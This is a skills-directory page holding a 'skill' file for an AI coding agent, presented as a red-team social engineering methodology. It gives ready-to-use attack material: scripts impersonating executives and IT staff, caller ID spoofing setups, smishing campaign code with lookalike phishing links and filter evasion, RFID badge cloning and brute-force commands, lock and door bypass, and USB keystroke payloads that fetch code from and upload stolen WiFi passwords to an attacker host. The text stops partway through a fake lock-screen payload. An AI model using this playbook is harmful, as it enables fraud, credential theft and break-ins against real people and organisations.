Skip to content
Back to skills

Redteam Social Engineering

BSecurity

Human-layer attack methodology for authorized red team and physical penetration testing. Covers pretexting with Cialdini influence principles (authority, urgency, scarcity, social proof, reciprocity, commitment/consistency), persona creation with OSINT-backed verification resistance, vishing via caller ID spoofing with Twilio/Asterisk/FreePBX and IVR exploitation, smishing via SMS/RCS/WhatsApp gateway abuse, physical social engineering (tailgating, RFID badge cloning with Proxmark3 including ...

  • 16 stars
  • 0 votes
  • 0 copies
  • 2 views
  • Added November 17, 2026
securityjavascriptpythonrustgojavashellbashsqlreactexpress

Works with

  • cli
  • api

Security analysis

B88/100
  • criticalAccesses sensitive system or user directories

Pro shows the line behind each finding and how to fix it

Scanned November 17, 2026

npx -y skills add AnandJogawade/Zazy-Pentest-Plugin-for-Claude --skill redteam-social-engineering --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Redteam Social Engineering?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Redteam Social Engineering
[![Security: B — Skills Directory](https://www.skillsdirectory.com/api/skills/anandjogawade-redteam-social-engineering/badge)](https://www.skillsdirectory.com/skills/anandjogawade-redteam-social-engineering)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: redteam-social-engineering
description: Human-layer attack methodology for authorized red team and physical penetration testing. Covers pretexting with Cialdini influence principles (authority, urgency, scarcity, social proof, reciprocity, commitment/consistency), persona creation with OSINT-backed verification resistance, vishing via caller ID spoofing with Twilio/Asterisk/FreePBX and IVR exploitation, smishing via SMS/RCS/WhatsApp gateway abuse, physical social engineering (tailgating, RFID badge cloning with Proxmark3 including long-range capture and MIFARE/iCLASS/HID/EM410x, pin tumbler and wafer lock picking, bump keys, shims, under-door tools, REX sensor bypass), USB weaponization (Rubber Ducky DuckyScript injection, Bash Bunny multi-vector HID+Ethernet, O.MG cable WiFi-triggered implants with geofencing, BadUSB firmware reprogramming), watering hole attacks with selective exploitation and BeEF browser hooking, deepfake voice cloning awareness for executive impersonation
keywords:
- social engineering
- pretexting
- vishing
- smishing
- phishing
- tailgating
- badge cloning
- Proxmark3
- lock picking
- USB Rubber Ducky
- Bash Bunny
- O.MG cable
- BadUSB
- watering hole
- BeEF
- OSINT
- LinkedIn
- dumpster diving
- shoulder surfing
- deepfake voice
- physical penetration
tools:
- SET (Social Engineering Toolkit)
- Proxmark3
- USB Rubber Ducky
- Bash Bunny
- O.MG Cable
- BeEF
- Twilio
- Asterisk
- Evilginx2
- linkedin2username
- CrossLinked
- theHarvester
- Recon-ng
- SpiderFoot
opsec: high
---

# Offensive Social Engineering — Comprehensive Methodology

Human beings remain the most exploitable component in any security architecture.
Where technical controls harden network perimeters and endpoint defenses,
social engineering targets the trust relationships, authority structures, and
cognitive shortcuts that people rely on every day. A thorough red team
engagement exercises the entire attack surface available to a motivated
adversary — phone calls, text messages, physical infiltration, planted
hardware, and browser-level compromise through trusted websites.

This skill documents the full spectrum of human-layer attacks beyond email
phishing (which is covered separately in the offensive-phishing skill).
Every technique requires explicit written authorization with clearly defined
rules of engagement. Physical vectors carry jurisdiction-specific legal
considerations around trespassing, wiretapping, impersonation statutes, and
recording consent that must be confirmed before execution.

---

## Operational Workflow

```text
Phase 1 — Intelligence Collection
 → Harvest organizational structure, personnel, locations,
   communication patterns, vendor relationships, technology stack
 → Tools: LinkedIn, theHarvester, CrossLinked, Recon-ng, SpiderFoot
 → Deliverable: target dossier with names, roles, emails, phone numbers

Phase 2 — Pretext and Infrastructure Preparation
 → Design personas matched to engagement objectives
 → Build VoIP infrastructure for vishing
 → Configure SMS gateways for smishing
 → Prepare badge cloning equipment for physical access
 → Program USB weaponization devices
 → Deliverable: attack playbook with scripts, infrastructure, devices

Phase 3 — Remote Vector Execution
 → Execute vishing campaigns against selected targets
 → Deliver smishing payloads with tracking
 → Launch watering hole attacks if in scope
 → Deliverable: captured credentials, session tokens, MFA bypass artifacts

Phase 4 — Physical Vector Execution
 → Tailgate into facilities using developed pretexts
 → Clone and use access badges
 → Deploy USB drop devices in target locations
 → Plant network implants or rogue access points
 → Deliverable: physical access evidence, planted device confirmation

Phase 5 — Documentation and Debrief
 → Compile interaction logs with timestamps and outcomes
 → Recover all planted devices
 → Destroy cloned credentials
 → Decommission infrastructure
 → Deliver findings and recommendations to client
```

---

## Pretexting and Psychological Manipulation

Every social engineering attack rests on a pretext — a constructed scenario
that provides a believable reason to request information, credentials, or
access. The pretext must survive casual questioning and, for high-value
targets, withstand deliberate verification attempts.

### Persona Construction

A persona is more than a name. It needs depth sufficient to handle
follow-up questions, callback attempts, and identity verification challenges.

```text
PERSONA BLUEPRINT

Identity:
  Full Name:        [Regionally appropriate, industry-matched]
  Title / Role:     [IT support engineer, vendor account manager,
                     building inspector, compliance auditor, recruiter]
  Organization:     [Known vendor the target uses, or plausible third party
                     identified through OSINT — procurement records, partner
                     pages, job postings mentioning vendor names]
  Contact Details:  [Burner phone with local area code, spoofed email domain,
                     LinkedIn profile aged 2+ weeks with connections]

Backstory:
  Reason for Contact: [Specific, verifiable-sounding scenario]
  Reference Points:   [Internal project names, ticket numbers, contract IDs
                       sourced from OSINT]
  Technical Knowledge: [Enough domain expertise to discuss the pretext
                       credibly — know the target's products, tools, and
                       internal terminology]

Verification Resistance:
  If challenged:   [Provide a fake reference number, name a real manager
                    sourced from LinkedIn, offer to call back from "the
                    main office line" (your controlled number)]
  Callback defense: [Set up a voicemail greeting on the burner phone that
                    matches the pretext organization]
  Email defense:   [Registered lookalike domain with working MX records]

Exit Strategy:
  Graceful retreat: [If the pretext collapses — "No problem, I will have
                     your account manager reach out to coordinate instead."
                     Disengage without escalating suspicion]
  Safety trigger:  [If security is called or the target becomes hostile,
                    immediately present authorization letter]
```

**Example — Executive Assistant Impersonation:**
```text
Name:           Claire Matthews
Role:           Executive Assistant to CFO David Park
Organization:   TargetCorp (internal)
Backstory:      "David asked me to reach out — he is in back-to-back
                 meetings but needs the Q4 budget spreadsheet sent to
                 his personal email for review tonight. Can you send it
                 to david.park.review@gmail.com? He said you would know
                 which version."
Verification:   "You can check with David's office directly, but he
                 specifically said this was urgent before the board
                 presentation tomorrow."
```

### Cialdini Influence Principles — Applied

Each psychological lever serves a specific purpose. Apply them deliberately,
not randomly, and layer multiple principles in a single interaction for
maximum effect.

```text
┌─────────────────────────────────────────────────────────────────┐
│ AUTHORITY                                                       │
│ Impersonate someone with organizational power or external       │
│ authority. People comply with perceived authority figures        │
│ without questioning legitimacy.                                 │
│                                                                 │
│ Execution:                                                      │
│  → "This is the CISO's office — we need..."                    │
│  → "I am from the external audit firm conducting your SOC 2"   │
│  → "Law enforcement — we have a subpoena for..."               │
│  → Reference internal systems and projects by name             │
│  → Use confident, directive language — not requests, statements│
│                                                                 │
│ Amplifiers:                                                     │
│  → Formal language, organizational jargon, ticket/case numbers │
│  → Name-drop real executives identified through OSINT          │
│  → Display knowledge of internal processes                     │
└─────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────┐
│ URGENCY / SCARCITY                                              │
│ Compress the target's decision-making window. Under time        │
│ pressure, people skip verification steps.                       │
│                                                                 │
│ Execution:                                                      │
│  → "Your account will be locked within the hour"               │
│  → "The compliance deadline is today at 5pm"                   │
│  → "This security incident needs resolution before it          │
│      escalates to the board"                                   │
│  → "Limited-time access — your invitation expires in 30 min"   │
│  → "If we do not resolve this now, the entire department       │
│      loses VPN access tonight"                                 │
│                                                                 │
│ Amplifiers:                                                     │
│  → Real deadlines sourced from OSINT (quarterly close,         │
│      earnings, audit windows)                                  │
│  → Artificial countdown — "I have three more calls to make"    │
└─────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────┐
│ SOCIAL PROOF                                                    │
│ People follow the behavior of their peers. If others have       │
│ already complied, the target assumes compliance is correct.     │
│                                                                 │
│ Execution:                                                      │
│  → "Your colleague John in accounting already completed this"  │
│  → "Everyone in your department has verified — you are the     │
│      last one remaining"                                       │
│  → "We have been working with your team all morning"           │
│  → Forward a fabricated email thread showing "prior compliance" │
│                                                                 │
│ Amplifiers:                                                     │
│  → Name specific colleagues identified through OSINT           │
│  → Reference specific teams and department structures          │
└─────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────┐
│ RECIPROCITY                                                     │
│ Provide value before making a request. Small favors create      │
│ unconscious obligation.                                         │
│                                                                 │
│ Execution:                                                      │
│  → "I noticed your ticket #4521 was stuck — I went ahead       │
│      and escalated it for you. By the way, I need..."          │
│  → "I wanted to give you a heads-up about an upcoming change   │
│      before the official announcement..."                      │
│  → Send a "useful" document or link before the ask             │
│  → Fix a minor problem the target mentions during conversation │
│                                                                 │
│ Amplifiers:                                                     │
│  → Reference real open tickets identified through recon        │
│  → Solve genuine (minor) problems during the interaction       │
└─────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────┐
│ COMMITMENT / CONSISTENCY                                        │
│ Once someone agrees to a small request, they are psychologically│
│ compelled to maintain consistency with larger ones.             │
│                                                                 │
│ Execution:                                                      │
│  → Start with trivial requests: "Can you confirm your email?"  │
│  → Escalate gradually: "Now I just need to verify your login"  │
│  → "Since you have already started the process..."             │
│  → Get verbal agreement early — "You do want to keep access    │
│      to your account, correct?"                                │
│                                                                 │
│ Amplifiers:                                                     │
│  → Document prior agreement — "As you confirmed earlier..."    │
│  → Make compliance feel like the logical next step              │
└─────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────┐
│ LIKING / RAPPORT                                                │
│ People comply more readily with people they like. Build         │
│ connection before making requests.                              │
│                                                                 │
│ Execution:                                                      │
│  → Mirror communication style (formal/casual, pace, vocabulary)│
│  → Find shared interests via OSINT (sports, hobbies, alma      │
│      mater visible on social media)                            │
│  → Use their name frequently                                   │
│  → Express empathy: "I know this is frustrating..."            │
│  → Match voice/accent to target demographic when feasible      │
│                                                                 │
│ Amplifiers:                                                     │
│  → Small talk before the ask — weather, local events, shared   │
│      frustrations about IT issues                              │
│  → Humor when appropriate                                       │
└─────────────────────────────────────────────────────────────────┘
```

### Multi-Principle Layering

The strongest pretexts combine multiple principles in a single interaction:

```text
Example — Combined Authority + Urgency + Social Proof:

"This is James from the security operations center. We have detected
a credential compromise affecting your department — this is the same
incident we have been working with Sarah and the finance team on all
morning. I need to verify your identity and reset your credentials
before end of business today to prevent account lockout. Your manager
approved this process about an hour ago."

Principles applied:
 → Authority: "security operations center"
 → Social proof: "Sarah and the finance team", "your manager approved"
 → Urgency: "before end of business today", "prevent account lockout"
```

---

## Vishing — Voice Phishing

Real-time voice interaction provides capabilities that text-based attacks
cannot match. You can hear hesitation, adapt to objections, build trust
through tone and cadence, and steer the conversation dynamically.

### Infrastructure Deployment

Dedicated voice infrastructure supporting caller ID control and recording:

**Twilio — Programmable Caller ID:**
```python
# Twilio voice call with controlled caller ID display
from twilio.rest import Client

acct = "ACXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
token = "auth_token_here"
client = Client(acct, token)

# Initiate call displaying your Twilio number to the target
call = client.calls.create(
    to="+1XXXXXXXXXX",          # target
    from_="+1XXXXXXXXXX",       # Twilio number displayed
    url="https://your-twiml-server.com/vishing-pretext.xml",
    record=True,                # record for engagement evidence
    recording_status_callback="https://your-server.com/recording-complete"
)
print(f"Call initiated: {call.sid}")
```

**Twilio TwiML — IVR-Style Pretext:**
```xml
<?xml version="1.0" encoding="UTF-8"?>
<Response>
    <Say voice="Polly.Matthew" language="en-US">
        This is an automated security notification from your
        organization's IT department. Suspicious activity has been
        detected on your corporate account. To secure your account,
        press 1 to speak with a security analyst.
    </Say>
    <Gather numDigits="1" action="/connect-operator" method="POST"
            timeout="10">
        <Say>Press 1 now to be connected.</Say>
    </Gather>
    <Say>We did not receive a response. A security analyst will
         contact you shortly. Goodbye.</Say>
</Response>
```

**Asterisk PBX — Full VoIP Control:**
```bash
# Install Asterisk on a VPS for complete call control
apt-get install -y asterisk

# Configure SIP trunk with CallerID passthrough
cat >> /etc/asterisk/extensions.conf << 'ASTEOF'
[vishing-campaign]
; Set caller ID to match pretext organization
exten => _X.,1,Set(CALLERID(num)=2125559000)
exten => _X.,n,Set(CALLERID(name)=TargetCorp IT)
; Record the call for engagement evidence
exten => _X.,n,MixMonitor(${UNIQUEID}.wav,ab)
; Route through SIP trunk
exten => _X.,n,Dial(SIP/provider-trunk/${EXTEN},60)
exten => _X.,n,Hangup()
ASTEOF

# FreePBX alternative — web-based GUI for Asterisk management
# Provides call routing, IVR builder, CallerID management
# Install: https://www.freepbx.org/downloads/

asterisk -rx "dialplan reload"
```

**SpoofCard and Third-Party Services:**
```text
Commercial caller ID spoofing services:
 → SpoofCard — mobile app, pay-per-call CallerID control
 → SpoofTel — web-based, supports international numbers
 → Burner app — disposable phone numbers with SMS/voice

Operational note: some carriers now implement STIR/SHAKEN
attestation. Calls with spoofed CallerID may show "Spam Likely"
or reduced attestation on the target's device. Test your setup
against the target's carrier before the campaign.
```

### Call Script Framework

Scripts provide structure but should never be read verbatim. Internalize
the flow and deliver it conversationally.

```text
PHASE 1 — OPENING (establish authority and reason)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
"Good morning, this is [persona name] calling from [organization].
Am I speaking with [target full name]? Great — I am reaching out
because [pretext reason]. This should only take a few minutes."

PHASE 2 — RAPPORT (build trust before the ask)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
"I can see from our records that you have been with [company] for
about [X years] — in the [department] team, right? I have been
working with a few people in your department on this already."

PHASE 3 — OBJECTIVE (credential harvest / access request)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
"To verify your identity before I make any changes on your account,
could you confirm the email address we have on file? And I will need
you to authenticate through our secure portal — I am sending you a
link right now."
[Send Evilginx2 phishing link during the call]

PHASE 4 — OBJECTION HANDLING
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Target: "I should not give my password over the phone."
 → "Absolutely right — I would never ask for that. What I will do
    is send you a secure password reset link to your email right now.
    I will stay on the line while you complete it."

Target: "Let me verify this with IT first."
 → "Of course — your security awareness is exactly why we flag your
    account as a priority. The reference number is SEC-2026-04821.
    You can share that with your IT team. Would you like me to hold
    while you check, or shall I call back in ten minutes?"

Target: "I am going to hang up and call IT myself."
 → "That is completely reasonable. When you call the help desk, ask
    them about incident SEC-2026-04821 and they can confirm. I will
    follow up via email with next steps in case we do not connect
    again today."
 [Graceful exit — do not push further]

PHASE 5 — MULTI-STAGE ESCALATION
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
"I see this needs supervisor approval. Let me transfer you to my
team lead."
[Transfer to second operator playing supervisor — fresh authority,
 continues the pretext with different voice]
```

### IVR System Exploitation

Corporate phone systems frequently expose administrative interfaces
through DTMF menus accessible from external dial-in:

```text
Reconnaissance steps:
 1. Dial the organization's main number and explore all menu trees
 2. At any prompt, test: 0 (operator), # (admin), * (hidden menu)
 3. Enter default administrative PINs:
    → 0000, 1234, 9999, 0#, last four digits of main number
    → System defaults: Cisco Unity (12345), Avaya (27238),
      Mitel (1234), NEC (1111)
 4. Listen for system identification in greetings and error messages
    → "Welcome to Cisco Unity Connection"
    → "Avaya Aura Messaging"
 5. Check for voicemail systems accessible via external dial-in
    → Dial main number, press # or * during greeting
    → Some systems allow dialing extensions directly
 6. Test DTMF injection during hold music or transfer sequences
    → Some systems process DTMF even while music plays
 7. Enumerate internal extensions by dialing sequential numbers
    → Record which extensions answer vs go to voicemail
    → Voicemail greetings reveal names, roles, schedules
```

### AI Voice Cloning Considerations (2025-2026)

Deepfake audio technology has reached a threshold where short voice
samples (5-15 seconds of publicly available audio from conference
talks, interviews, or social media) can produce convincing clones.

```text
Awareness for red team operators:
 → Executive impersonation via cloned voice is technically feasible
 → Source material: earnings calls, conference presentations,
   YouTube interviews, podcast appearances, social media videos
 → Tools exist (ElevenLabs, VALL-E, RVC) that produce real-time
   voice conversion with minimal latency
 → Red team application: clone a CEO's voice for vishing call to
   finance department requesting wire transfer
 → Legal and ethical considerations: document in ROE, obtain
   specific authorization for deepfake voice usage
 → Defensive recommendation: implement verbal authentication
   codes for high-value requests, callback verification through
   known numbers, never execute financial actions based solely
   on voice authorization
```

---

## Smishing — SMS/MMS Phishing

Text messages achieve substantially higher open rates than email (98% vs 20%)
and are processed with less scrutiny. Organizational SMS filtering is
inconsistent and far less mature than email security gateways.

### Gateway Configuration and Delivery

**Twilio SMS Campaign:**
```python
from twilio.rest import Client
import time

client = Client("ACXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", "auth_token")

# Target list with personalization tokens
targets = [
    ("+1XXXXXXXXXX", "John",  "Finance"),
    ("+1XXXXXXXXXX", "Sarah", "Engineering"),
    ("+1XXXXXXXXXX", "Mike",  "Operations"),
]

# Personalized messages with tracking identifiers
for number, name, dept in targets:
    tracking_id = f"{name.lower()}-{dept.lower()[:3]}"
    msg = client.messages.create(
        body=(
            f"[TargetCorp Security] Hi {name}, your VPN certificate "
            f"expires today. Renew immediately to maintain access: "
            f"https://vpn-renewal.targetcorp-secure.com/r/{tracking_id}"
        ),
        from_="+1XXXXXXXXXX",  # Twilio number
        to=number,
    )
    print(f"[+] Sent to {name} ({dept}): {msg.sid}")
    time.sleep(2)  # rate limit to avoid carrier filtering
```

**Alternative SMS delivery channels:**
```text
Bulk SMS APIs:
 → Twilio — most reliable, CallerID control, delivery receipts
 → MessageBird — European presence, good carrier coverage
 → Vonage (Nexmo) — global reach, alphanumeric sender IDs
 → AWS SNS — cheap, no CallerID spoofing
 → Plivo — developer-friendly, competitive pricing

Alphanumeric sender IDs (where supported):
 → Some carriers allow custom sender names instead of numbers
 → Send from "TargetCorpIT" instead of a phone number
 → Availability varies by country — US generally does not support,
   many European and Asian carriers do

Carrier filtering bypass techniques:
 → Rotate sending numbers across messages
 → Vary message content to avoid template detection
 → Avoid known spam trigger words (FREE, WINNER, CLICK NOW)
 → Send during business hours for corporate pretexts
 → Keep URLs unique per message (tracking parameters)
 → Use legitimate URL shorteners (bit.ly, is.gd) or custom domains
```

### Smishing Pretext Library

```text
SECURITY / IT PRETEXTS
━━━━━━━━━━━━━━━━━━━━━━
"[TargetCorp] Security Alert: Unusual sign-in detected from
 [city, state]. If this was not you, verify now:
 https://security.targetcorp-verify.com/auth"

"TargetCorp IT: Your Office 365 session was terminated due to
 policy violation. Re-authenticate to restore access:
 https://o365-auth.targetcorp-sso.com/restore"

HR / BENEFITS PRETEXTS
━━━━━━━━━━━━━━━━━━━━━━
"[TargetCorp HR] Open enrollment deadline extended to Friday.
 Review your selections before they lock:
 https://benefits-portal.targetcorp-hr.com/enroll"

"TargetCorp: Your direct deposit information needs reverification
 due to a system migration. Update by EOD:
 https://payroll.targetcorp-portal.com/verify"

MFA FATIGUE (combined with credential stuffing/spraying)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[After sending repeated push notifications from compromised creds]
"TargetCorp IT: We are seeing repeated authentication failures on
 your account. If this is not you, approve the next prompt so our
 system can reset the compromise flag."

DELIVERY / LOGISTICS
━━━━━━━━━━━━━━━━━━━━
"USPS: Package delivery requires address verification before
 release. Confirm: https://usps-delivery-notify.com/verify"

"FedEx: Your shipment has a customs hold. Provide documentation:
 https://fedex-customs-clearance.com/docs"
```

### RCS and Messaging Platform Exploitation

```text
Rich Communication Services (RCS):
 → RCS messages display rich cards, carousels, and branded content
 → More convincing than plain SMS due to visual formatting
 → Some business messaging APIs allow RCS delivery
 → Phishing via RCS can include images, action buttons, and logos

WhatsApp Business:
 → Register WhatsApp Business account with pretext organization name
 → Business accounts display verified green checkmark (abuse potential)
 → Send template messages with link buttons
 → Target organizations using WhatsApp for internal communication

iMessage link previews:
 → iMessage automatically generates rich link previews
 → Craft Open Graph metadata on phishing page to control preview
   appearance (title, description, image)
 → Preview builds trust before the target even clicks
```

---

## Physical Social Engineering

Physical penetration testing bypasses the digital perimeter entirely.
You are testing guards, access control systems, door locks, security
cameras, employee vigilance, and visitor management procedures.

### Tailgating and Entry Techniques

```text
TECHNIQUE: BURDEN CARRY
━━━━━━━━━━━━━━━━━━━━━━━
Carry bulky items — boxes, equipment cases, a laptop bag in each
hand, a coffee tray. People reflexively hold doors for someone
whose hands are full. This is the highest-success, lowest-risk
physical access technique.

TECHNIQUE: SMOKING AREA SOCIAL
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Identify the smoking/break area (usually visible from Google Maps
Street View or site observation). Join employees during a break,
make casual conversation, then walk back inside with the group.
No badge required — the group provides implicit authorization.

TECHNIQUE: DELIVERY PERSONA
━━━━━━━━━━━━━━━━━━━━━━━━━━━
Dress as a delivery driver (branded polo, cargo shorts, handheld
scanner prop). Carry a labeled package addressed to a real employee
identified through OSINT. "I just need a signature from [name] in
[department] — I will drop it at their desk." Once inside, plant
devices, photograph sensitive areas, or access restricted zones.

TECHNIQUE: MAINTENANCE/CONTRACTOR
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Hi-vis vest, hard hat, tool belt, clipboard. Arrive during business
hours and state you are there for "scheduled HVAC inspection" or
"network cabling work." Reference a work order number. Most
receptionists will not verify contractor credentials if the visual
presentation matches.

TECHNIQUE: TIMING EXPLOITATION
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Enter during high-traffic windows when door-holding is routine:
 → 8:00–9:30 AM morning rush
 → 11:30 AM–1:30 PM lunch flow
 → 4:30–6:00 PM departure wave
 → Immediately after fire drill or building alarm (chaotic re-entry)

PHYSICAL APPEARANCE GUIDELINES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Match the environment:
 → Corporate office: Business casual, lanyard with badge holder
   (badge can be blank — people see the lanyard, not the badge)
 → Data center: Polo shirt, cargo pants, tool belt, laptop bag
 → Hospital: Scrubs (available on Amazon), clipboard, stethoscope
 → Construction: Hi-vis vest, hard hat, steel-toe boots
 → Always carry a backpack with space for planted devices
```

### RFID Badge Cloning — Proxmark3

Most commercial access control systems use proximity cards that
can be captured at distance and duplicated onto blank cards.

**Low-Frequency Systems (125 kHz — HID ProxCard, EM410x, AWID):**
```bash
# Read a low-frequency card when target badges in
proxmark3> lf search
# Identifies card type: HID, EM410x, Indala, AWID, etc.

# Read HID ProxCard II / iCLASS SE (low-frequency component)
proxmark3> lf hid read
# Output: TAG ID: 2004XXXXXXXX — this is the facility code + card number

# Clone to T5577 writable blank card
proxmark3> lf hid clone -r 2004XXXXXXXX
# Card is now a functional duplicate

# Read EM410x cards
proxmark3> lf em 410x read
# Clone to T5577
proxmark3> lf em 410x clone --id XXXXXXXXXX

# Brute force card numbers if facility code is known
# Facility code is often the same for all cards in an org
proxmark3> lf hid brute -f FACILITY_CODE --start 1 --end 65535
```

**High-Frequency Systems (13.56 MHz — MIFARE, iCLASS, DESFire):**
```bash
# MIFARE Classic — most common HF card, known weak crypto
proxmark3> hf mf autopwn
# Runs nested, hardnested, and staticnested attacks
# Dumps all sectors to file

# Clone dumped MIFARE Classic to blank card
proxmark3> hf mf cload -f dump.eml

# iCLASS systems
proxmark3> hf iclass read
# Key recovery via Loclass attack:
proxmark3> hf iclass loclass
# Clone with recovered keys

# DESFire (more secure — may require additional research)
proxmark3> hf mfdes info
# Full attack is complex — requires application keys
```

**Long-Range Badge Capture:**
```text
Covert capture techniques:
 → Build a long-range reader (extends read distance from 2 inches
   to 1-3 feet for 125 kHz cards):
   - Larger antenna coil (12-15 inch diameter)
   - Amplifier circuit
   - Conceal in backpack, briefcase, or clipboard
   - Walk past targets in hallways or elevators
 → Position a concealed reader near entry points:
   - Under a desk near badge-in doors
   - Attached behind a bulletin board near turnstiles
   - In a fake package left near reception
 → Photography: some badge systems print the card number on the
   face. Telephoto lens from parking lot or public sidewalk can
   capture the printed ID.
 → Badge format identification:
   - Observe badge readers (HID logo = HID system, etc.)
   - Google the organization name + "access control" for vendor info
   - Check for visible card type markings on badges

Operational note: bring multiple blank T5577 (LF) and MIFARE
Classic (HF) cards. You may need to clone different card types
across different doors/zones within the same facility.
```

### Lock Picking and Physical Bypass

```text
PIN TUMBLER LOCKS (most common)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Single-pin picking (SPP):
 → Insert tension wrench with light rotational pressure
 → Use hook pick to set each pin to the shear line
 → Pins bind in order determined by manufacturing tolerances
 → Typical office door lock: 30-120 seconds with practice

Raking:
 → Insert tension wrench
 → Use rake pick (snake, bogota, city rake) with scrubbing motion
 → Faster than SPP but less reliable on security pins
 → Most commercial-grade locks (Kwikset, Schlage residential):
   10-30 seconds

BUMP KEYS
━━━━━━━━━
 → Pre-cut keys filed to maximum depth on all cuts
 → Insert, apply slight rotational pressure, strike with bump hammer
 → Percussive force transfers energy to pins simultaneously
 → Fast, low-skill, works on most pin tumbler locks
 → Carry a set covering common keyways (Kwikset KW1, Schlage SC1,
   Yale, Medeco M3 — note: Medeco is bump-resistant)

WAFER LOCKS
━━━━━━━━━━━
 → Common in filing cabinets, desk drawers, server racks
 → Pick with tension + flat pick or jiggler keys
 → Jiggler set: 10-15 pre-cut keys that work by manipulation
 → Very fast — most wafer locks open in under 10 seconds

TUBULAR LOCKS
━━━━━━━━━━━━━
 → Found on vending machines, some server cabinets, kensington locks
 → Tubular lock pick: specialized circular pick
 → Insert, apply tension, rotate each pin
 → 15-60 seconds with practice

BYPASS METHODS (no picking required)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Shims:
 → Thin metal strips inserted between padlock shackle and body
 → Disengages the latch mechanism directly
 → Works on most consumer-grade padlocks

Under-door tools:
 → Slide a flexible tool under the door gap
 → Hook the interior handle or push bar from below
 → Works on outward-opening doors with >6mm gap
 → Commercial tools: Rave tool, Under Door Tool (UDT)

REX (Request to Exit) sensor bypass:
 → REX sensors detect body heat from inside to unlock doors
 → Trigger through glass doors with compressed air can (simulates
   heat signature) sprayed at the sensor
 → Or use a wire/tool through door gaps to trigger the sensor
 → Some sensors react to any motion — wave arm through gap

Latch slipping:
 → Credit card or shim between door frame and latch bolt
 → Only works if latch is not deadlocked
 → Most commercial doors have anti-shim features, but many
   interior doors do not

Emergency exit push bars:
 → Some are alarmed, some are not — observe before testing
 → Over-the-door hooks can reach push bars from outside

Elevator access:
 → Fire service keys: FEO-K1 (US near-universal)
 → Most elevator panels accept generic keys
 → Service mode provides access to all floors
 → Some elevators have key switches in the cab that bypass
   badge-restricted floors
```

### Security Camera Assessment

```text
Before executing physical entry:
 → Map visible camera positions from public areas
 → Identify camera types (PTZ vs fixed, analog vs IP)
 → Find blind spots — cameras have limited FOV
 → Note recording indicator lights (some are dummy cameras)
 → Determine monitoring: 24/7 SOC vs recorded-only
 → Google the building address + "security" for vendor information

Evasion during entry:
 → Use identified blind spots for entry
 → Time entry during shift changes or high-traffic periods
 → Face away from cameras, wear a hat to obscure facial features
 → Move with purpose — hesitation draws attention
 → Carry items that match your pretext (dolly, tools, boxes)
```

### Dumpster Diving

```text
Target materials:
 → Organizational charts and phone directories
 → Internal memos, meeting notes, project plans
 → Printed emails with addresses, names, and content
 → Network diagrams and IP address lists
 → Discarded hard drives, USB sticks, optical media
 → Shredded documents (cross-cut is harder; strip-cut is reconstructable)
 → Post-it notes with passwords or access codes
 → Visitor logs and sign-in sheets
 → Shipping labels with internal addresses

Methodology:
 → Conduct during off-hours (late evening, weekends)
 → Wear gloves and appropriate clothing
 → Target recycling bins and shredding overflow areas
 → Check external dumpsters AND internal waste bins (if physical
   access already achieved)
 → Photograph everything in situ before collecting
 → Maintain chain of custody for all collected materials

Legal considerations:
 → In the US, discarded materials in public dumpsters have
   reduced expectation of privacy (California v. Greenwood)
 → However, dumpsters on private property may require authorization
 → Confirm coverage in your rules of engagement
```

### Shoulder Surfing

```text
Techniques:
 → Observe PIN entry at badge readers from a distance
 → Watch password entry on laptops in open workspaces
 → Record screen content in meetings (concealed camera)
 → Photograph whiteboards with credentials, diagrams, plans
 → Observe monitor screens through windows from outside building

Tools:
 → Concealed body camera (button camera, pen camera, glasses camera)
 → Telephoto lens for distance observation
 → Smartphone held casually at side (video recording)
 → Binoculars for observing through windows

Defensive recommendation:
 → Privacy screens on monitors
 → Keyboard privacy shields at badge readers
 → Clean desk policy enforcement
 → Restrict window visibility into sensitive areas
```

---

## USB Drop Attacks

Weaponized USB devices exploit human curiosity (who left this here?)
and the implicit trust users place in physical media. Planted USB
devices bypass network-level security entirely by executing directly
on the target endpoint.

### USB Rubber Ducky — Keystroke Injection

The Rubber Ducky registers as a USB HID keyboard and executes
pre-programmed keystrokes at speeds no human can match.

```text
# DuckyScript — PowerShell reverse shell
# Compile with DuckEncoder and flash to Ducky microSD

DELAY 2000
GUI r
DELAY 500
STRING powershell -w hidden -nop -ep bypass -c "IEX((New-Object Net.WebClient).DownloadString('https://c2.attacker.com/implant.ps1'))"
ENTER
```

```text
# DuckyScript — WiFi password extraction + exfil
DELAY 2000
GUI r
DELAY 500
STRING cmd /k
ENTER
DELAY 500
STRING netsh wlan show profiles | findstr "Profile" > %TEMP%\wifi.txt
ENTER
DELAY 1000
STRING for /f "tokens=2 delims=:" %i in (%TEMP%\wifi.txt) do @netsh wlan show profile name="%i" key=clear >> %TEMP%\wifi_passwords.txt
ENTER
DELAY 3000
STRING powershell -c "(New-Object Net.WebClient).UploadFile('https://c2.attacker.com/collect','%TEMP%\wifi_passwords.txt')"
ENTER
DELAY 1000
STRING del %TEMP%\wifi.txt %TEMP%\wifi_passwords.txt
ENTER
STRING exit
ENTER
```

```text
# DuckyScript — Credential harvester via fake lock screen
DELAY 2000
GUI l
DELAY 3000
